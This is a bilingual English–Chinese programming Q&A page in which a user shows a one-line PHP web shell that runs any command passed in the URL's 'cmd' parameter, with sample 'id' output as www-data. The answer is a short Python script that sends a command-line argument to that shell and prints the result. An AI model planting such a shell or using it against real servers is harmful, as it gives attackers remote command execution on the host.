[英]passing an argument as a command in python
I created a php file that allow me to execute commands in the url. 我创建了一个php文件,该文件允许我执行url中的命令。 the php file and the url in the following quotes: php文件和以下引号中的url:
<?php
system($_GET['cmd']);
?>
the url is: 网址是:
www.somewebsite.com/..././command.php?cmd=id
so here I used the command "id" and the output was: 所以在这里我使用命令“ id”,输出为:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Now, I want to write a python script that pass the command I want as an argument and return the output in the terminal instead of executing the command in the browser. 现在,我想编写一个Python脚本,该脚本将我想要的命令作为参数传递,并在终端中返回输出,而不是在浏览器中执行该命令。
This is my code so far: 到目前为止,这是我的代码:
import sys
import requests
import re
import webbrowser
url = 'http://localhost/.././command.php?cmd='
def remote():
webbrowser.open('url')
def main():
remote()
My problem is how to pass an argument as a command? 我的问题是如何将参数作为命令传递? like: python do.py id 像:python do.py id
Thanks in advance. 提前致谢。
You are probably looking for this: 您可能正在寻找:
import requests
import sys
url = 'http://localhost/.././command.php?cmd='
command = str(sys.argv[1])
response = requests.get(url + command)
print response.content
You might need to install the requests module. 您可能需要安装请求模块。 You can do that easily using pip. 您可以使用pip轻松做到这一点。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.